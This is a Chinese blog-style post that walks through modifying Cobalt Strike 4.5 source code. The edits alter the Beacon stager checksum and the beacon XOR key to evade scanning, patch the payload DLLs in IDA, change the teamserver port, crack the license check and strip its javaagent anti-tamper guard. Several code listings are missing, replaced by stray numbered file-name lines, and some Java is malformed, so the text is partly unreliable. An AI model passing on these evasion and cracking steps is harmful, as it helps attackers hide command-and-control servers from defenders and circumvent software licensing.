微信公众号:BateSec
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎关注本公众号,后期会不定时公布二开细节
特征修改
书接上文,确定了特征位置,开始针对各个特征进行修改
根据以上能得出,需要修改源码的特征为以下几个
1.Beacon Staging特征,去除checksum8特征
2.修改默认端口(从源码中修改teamserver默认端口)
3.破解(附加cs4.5破解方法)
4.javaagent暗桩
修改Stager防止被直接扫描:修改位置如下
cloudstrike/webserver.java
修改
public static boolean isStager(String uri) {
return checksum8(uri) == 92L;
}
public static boolean isStagerX64(String uri) {
return checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}");
}
修改isStager函数,只要不是92或者93就行。这里首先需要修改checksum8,将其返回值改为return sum
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
} else {
text = text.replace("/", "");
long sum = 0L;
for(int x = 0; x < text.length(); ++x) {
sum += (long)text.charAt(x);
}
return sum % 256L;
}
}
利用脚本计算来生成我们的返回值
public class test {
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
} else {
text = text.replace("/", "");
long sum = 0L;
for(int x = 0; x < text.length(); ++x) {
sum += (long)text.charAt(x);
}
return sum ;
}
}
}
public static void main(String []args) {
String key = "随机填写";
long flag = checksum8(key);
System.out.println(flag);
}
}
将计算结果值放入webserver.java的isStager方法中替换92L
修改结果
public static boolean isStager(String uri) {
return checksum8(uri) == '计算结果';
}
同时修改return为我们生成的key
common/CommonUtils.java
修改
public static String MSFURI(int var0) {
String[] var1 = toArray("a, b, c, d, e, f, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9");
StringBuffer var2;
do {
var2 = new StringBuffer(var0 + 1);
var2.append("/");
for(int var3 = 0; var3 < var0; ++var3) {
var2.append(pick(var1));
}
} while(checksum8(var2.toString()) != 92L);
return "上问中的随机填写";
}
上述,x64同理修改即可
接下来修改
beacon/BeaconPayload.java
将异或值0x2e(46)改为0x5e(默认显示为10进制,我们改为94即可)
public static byte[] beacon_obfuscate(byte[] var0) {
byte[] var1 = new byte[var0.length];
for(int var2 = 0; var2 < var0.length; ++var2) {
var1[var2] = (byte)(var0[var2] ^ 46("修改此处"));
}
return var1;
}
修改DLL文件
同时我们需要到生成时调用的DLL文件进行修改,否则会导致异或值不一样导致的无法上线,下载解密的问题
使用脚本对Sleeve进行解密,具体原理可以查看CobaltStrike的认证流程
cloudstrike/webserver.java
0
cloudstrike/webserver.java
1
利用ida工具将这些dll中的0x2e修改为我们之前修改的0x5e
到此修改结束
将修改的java文件和dll文件放到我们项目中
利用idea构建工具重新打包即可
修改默认端口(从源码中修改teamserver默认端口)
cloudstrike/webserver.java
2
将其中的port 修改即可
cloudstrike/webserver.java
3
cs4.5破解
修改
cloudstrike/webserver.java
4
替换Authorization构造方法
cloudstrike/webserver.java
5
cs4.5 去除javaagent暗桩
全局搜索javaagent
注释掉结束进程即可或者将javaagent判断直接删除(没测试过,需要一个一个修改测试)
欢迎关注
如果你觉得本文对你有帮助,欢迎关注本公众号,后期会不定时公布二开细节
还没有评论,来说两句吧...